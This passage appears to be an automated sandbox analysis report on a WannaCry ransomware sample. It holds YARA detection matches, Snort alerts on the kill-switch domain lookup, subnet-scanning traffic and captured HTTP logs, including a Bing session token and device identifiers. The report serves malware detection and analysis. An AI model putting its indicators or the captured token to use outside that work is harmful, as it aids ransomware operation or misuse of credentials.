5.0.mssecsvr.exe.400000.6.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
5.0.mssecsvr.exe.400000.6.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
5.0.mssecsvr.exe.400000.4.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
5.0.mssecsvr.exe.400000.4.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
5.0.mssecsvr.exe.400000.4.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
5.2.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
5.2.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
5.2.mssecsvr.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
Click to see the 31 entries

Snort Signatures

ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup) - Source IP: 192.168.2.7 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.78.8.8.858715532830018 07/20/22-19:06:49.945283
SID:	2830018
Source Port:	58715
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup) - Source IP: 192.168.2.7 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.78.8.8.850519532830018 07/20/22-19:06:48.635097
SID:	2830018
Source Port:	50519
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup) - Source IP: 192.168.2.7 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.78.8.8.863557532830018 07/20/22-19:06:47.047535
SID:	2830018
Source Port:	63557
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

Binary string: d:\Projects\WinRAR\SFX\build\sfxrar32\Release\sfxrar.pdb source: mssecsvr.exe, 00000008.00000002.972592655.0000000000710000.00000002.00000001.01000000.00000004.sdmp, tasksche.exe, 00000009.00000000.381281536.000000000042A000.00000002.00000001.01000000.00000007.sdmp, tasksche.exe, 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmp, tasksche.exe, 0000000A.00000002.972620522.000000000042A000.00000002.00000001.01000000.00000006.sdmp, tasksche.exe, 0000000A.00000000.384935330.000000000042A000.00000002.00000001.01000000.00000006.sdmp, QbNF1cvpa0.dll, mssecsvr.exe.3.dr, tasksche.exe.5.dr

Source: C:\Windows\tasksche.exe	Code function: 9_2_00409476 FindFirstFileW,FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,		9_2_00409476
Source: C:\Windows\tasksche.exe	Code function: 9_2_0040DE5E SendDlgItemMessageW,DestroyIcon,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SetDlgItemTextW,SHGetFileInfoW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,		9_2_0040DE5E

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2830018 ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup) 192.168.2.7:63557 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2830018 ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup) 192.168.2.7:50519 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2830018 ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup) 192.168.2.7:58715 -> 8.8.8.8:53

Connects to many IPs within the same subnet mask (likely port scanning)

Source: global traffic

TCP traffic: Count: 14 IPs: 176.179.23.5,176.179.23.4,176.179.23.7,176.179.23.6,176.179.23.9,176.179.23.8,176.179.23.204,176.179.23.10,176.179.23.13,176.179.23.12,176.179.23.11,176.179.23.1,176.179.23.3,176.179.23.2

Source: Joe Sandbox View

JA3 fingerprint: bd0bf25947d4a37404f0424edf4db9ad

Source: global traffic	HTTP traffic detected: GET /image/apps.18858.9007199266246227.c596c546-6fcb-4260-935c-19bc24b971ef.1b03c26f-1753-4221-9ab1-4581f098723d?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.16574.13571498826857201.00a9d390-581f-492c-b148-b2ce81649480.6a6f592e-efa9-4bb0-b008-7c3422ab3313?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.15881.13753891519397067.8011a592-e549-44a6-8073-41dcd83eddbe.bcf361e4-21f7-429d-877a-6c55c1b655ff?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.18694.9007199266247846.b5c49955-e050-4553-b8e4-0e223ed6c5a1.4e8e78d2-c2c2-4c02-8d8c-46ac3b2419e7?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.2052.9007199266247846.b5c49955-e050-4553-b8e4-0e223ed6c5a1.a0c3decd-308f-4f06-bcfb-2aa4f3afe248?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.10288.13753891519397067.8011a592-e549-44a6-8073-41dcd83eddbe.12bb65f7-1014-4469-bb2e-59f575e79b05?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.20893.13571498826857201.00a9d390-581f-492c-b148-b2ce81649480.acc28f88-50de-4aaf-abfc-ad1da8b04cd0?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.256.14495311847124170.e89a4dce-fd9a-4a10-b8e4-a6c3aa1c055e.ca4cbefc-0ab0-4144-90c1-07f5250c8c21?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.39478.14495311847124170.e89a4dce-fd9a-4a10-b8e4-a6c3aa1c055e.8ad1b690-ff36-44fa-8afc-0dc5bed1273c?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.40093.9007199266285780.3d16d9fa-052b-42c5-ba7d-a5688e3dda24.e6964d6a-18a4-4746-9238-9f0acc233a65?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.49525.13510798887047136.8a1815b2-017c-48c8-80cc-ca4d1ae5c8cf.2f6b9bdf-a4fc-42d8-aea0-65c437755b78?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.58298.9007199266285780.3d16d9fa-052b-42c5-ba7d-a5688e3dda24.55988ee1-bd9b-4322-980a-a610abdc7713?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.616.13510798887047136.8a1815b2-017c-48c8-80cc-ca4d1ae5c8cf.d81cfd95-c9fd-48e0-8fc3-36ff7b9e590a?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.64128.9007199266246227.c596c546-6fcb-4260-935c-19bc24b971ef.d58015ff-2fcf-4113-975b-e873039b6d86?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4740Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.27716.00; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4659Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4796Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4796Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4796Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4794Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4796Host: login.live.com
Source: global traffic	HTTP traffic detected: GET /image/apps.10318.9007199266246761.cc710c1e-2e5d-4241-97cb-d944f43f9af1.8cf0ef1a-60ff-4508-85ab-fd3d7f02c6a3?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.13224.9007199266243744.1d2d3767-9bde-47ad-95c6-81ccd5714dd0.9547b9f0-b1dc-4352-9dc9-7ea6f4eef5c3?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /proactive/v2/spark?cc=US&setLang=en-US HTTP/1.1X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguageX-Search-SafeSearch: ModerateAccept-Encoding: gzip, deflateX-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8}X-Device-IsBatteryCertified: falseX-UserAgeClass: UnknownX-BM-Market: USX-BM-DateFormat: M/d/yyyyX-CortanaAccessAboveLock: falseX-Device-OSSKU: 48X-Device-IsBatteryEnabled: falseX-Device-NetworkType: ethernetX-BM-DTZ: -420X-BM-FirstEnabledTime: 132061395240662859X-DeviceID: 0100748C0900F661X-VoiceActivationOn: falseX-Device-AudioCapture: Microphone (High Definition Audio Device)X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard TimeX-BM-Theme: 000000;0078d7X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAd8yknU0Ka11yykr1%2Bc7MvV8vVkUT31Mb7YrpuFD%2B/6raQk%2Bg7XYvOVtCAtPOCPZliRecxu%2BveDYFsEMu7rloOMvdZnm1/678eADCu7pmtd%2B%2BLKStln8tohAGRr4PKhmsSfL8cIyDDpw7ue/LnTuMM43agwNcIDRoNG0pmc64K5DR0FEMHIsDmgX2jdk58rSlcq4hvrKUVMxtKAv67rmTJwSlSueouj3T/BH9eOWnNw1UgOKyH6JHtkPoF3MFcVvhcSe%2BokEzKUwl/n71eKODCkrWY3wvUkbeCFh/ziUENAQRORNw94SGWopXPhHYNzvHQBoH9%2BSk6v7hBxtffLHs4MDZgAACBxuWcuc9ZMiqAExecSOx9bZVeASVbBIYus0KRGfKVZqS7jKvQd2BHNAvFW1ahKNWDWoVTv7LyqQz2z8SYm9uuWLGLVkmyz99AbCaLwVrtTXbJvKhfD8w7ghru92hfYkokR7WQTPUWBH5m6Butg2bQfBM3IeWKMqaVZoPzZkeJmnXCRj/l4BF9dNolr8dNfaa9OB09cbgyp2ogBHdbjMxj84JBcv8P0p6y5%2B3BJM63qqXl%2B44iqq8JPVs6/WU1/%2B88cbU5OXE%2BBSD9tT/zFXdQHgrisl12pkGoqDuIyyZTHY0y9Ah3%2BrtpKsJPTnxo4NBhW3zlYpLKjPb4hLEqdN%2Bxi4qAYsam3WDXydh5Zi59lK7W3lRPnBCdgP1tHaGxVnsiKqO5nYmpARujFtFTTTBHhcErYf2Orc%2BRBVvwdz29Q/bwDU4z1IRGpsipe/Jo/MV5D84eK3ufhmm41OZJw9CvirUsCsPIOgdYOQzADvR4xOUpmuHny0T0sQ3Ty3kLgtBPoan7lctH3NGlV/HjDtSls4jCBjyVoSgWCKUeb0g9j9K8UE3oPVCKV7lSASYO1HwYXi1gE%3D%26p%3DX-Agent-DeviceId: 0100748C0900F661X-BM-CBT: 1658369182User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134X-Device-isOptin: trueAccept-language: en-US, enX-Device-IsEnergyHero: falseX-Device-Touch: falseX-Device-ClientSession: AEE386E4D95049979E3D507F3459ED09X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeaderHost: www.bing.comConnection: Keep-AliveCookie: MUID=7E1F7E3AB9E24BF9AA0D8F6664CA6F63
Source: global traffic	HTTP traffic detected: GET /client/config?cc=US&setlang=en-US HTTP/1.1X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguageX-Search-SafeSearch: ModerateAccept-Encoding: gzip, deflateX-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8}X-UserAgeClass: UnknownX-BM-Market: USX-BM-DateFormat: M/d/yyyyX-CortanaAccessAboveLock: falseX-Device-OSSKU: 48X-BM-DTZ: -420X-BM-FirstEnabledTime: 132061395240662859X-DeviceID: 0100748C0900F661X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard TimeX-BM-Theme: 000000;0078d7X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAd8yknU0Ka11yykr1%2Bc7MvV8vVkUT31Mb7YrpuFD%2B/6raQk%2Bg7XYvOVtCAtPOCPZliRecxu%2BveDYFsEMu7rloOMvdZnm1/678eADCu7pmtd%2B%2BLKStln8tohAGRr4PKhmsSfL8cIyDDpw7ue/LnTuMM43agwNcIDRoNG0pmc64K5DR0FEMHIsDmgX2jdk58rSlcq4hvrKUVMxtKAv67rmTJwSlSueouj3T/BH9eOWnNw1UgOKyH6JHtkPoF3MFcVvhcSe%2BokEzKUwl/n71eKODCkrWY3wvUkbeCFh/ziUENAQRORNw94SGWopXPhHYNzvHQBoH9%2BSk6v7hBxtffLHs4MDZgAACBxuWcuc9ZMiqAExecSOx9bZVeASVbBIYus0KRGfKVZqS7jKvQd2BHNAvFW1ahKNWDWoVTv7LyqQz2z8SYm9uuWLGLVkmyz99AbCaLwVrtTXbJvKhfD8w7ghru92hfYkokR7WQTPUWBH5m6Butg2bQfBM3IeWKMqaVZoPzZkeJmnXCRj/l4BF9dNolr8dNfaa9OB09cbgyp2ogBHdbjMxj84JBcv8P0p6y5%2B3BJM63qqXl%2B44iqq8JPVs6/WU1/%2B88cbU5OXE%2BBSD9tT/zFXdQHgrisl12pkGoqDuIyyZTHY0y9Ah3%2BrtpKsJPTnxo4NBhW3zlYpLKjPb4hLEqdN%2Bxi4qAYsam3WDXydh5Zi59lK7W3lRPnBCdgP1tHaGxVnsiKqO5nYmpARujFtFTTTBHhcErYf2Orc%2BRBVvwdz29Q/bwDU4z1IRGpsipe/Jo/MV5D84eK3ufhmm41OZJw9CvirUsCsPIOgdYOQzADvR4xOUpmuHny0T0sQ3Ty3kLgtBPoan7lctH3NGlV/HjDtSls4jCBjyVoSgWCKUeb0g9j9K8UE3oPVCKV7lSASYO1HwYXi1gE%3D%26p%3DX-Agent-DeviceId: 0100748C0900F661X-BM-CBT: 1658369182User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134X-Device-isOptin: trueAccept-language: en-US, enX-Device-Touch: falseX-Device-ClientSession: AEE386E4D95049979E3D507F3459ED09X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeaderHost: www.bing.comConnection: Keep-AliveCookie: MUID=7E1F7E3AB9E24BF9AA0D8F6664CA6F63
Source: global traffic	HTTP traffic detected: GET /image/apps.15982.13510798883386282.38bb6176-27af-4000-85dd-12a4c12514f2.7bbbe321-5273-45d0-814e-74f2065197d3?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.16957.14618985536919905.4b30e4f3-f7a1-4421-840c-2cc97b10e8e0.aef04b90-a221-4ea5-a05d-0d51ac792471?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.18124.9007199266244427.c75d2ced-a383-40dc-babd-1ad2ceb13c86.afc6c372-c7a8-4eda-94fb-541bbb081d14?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
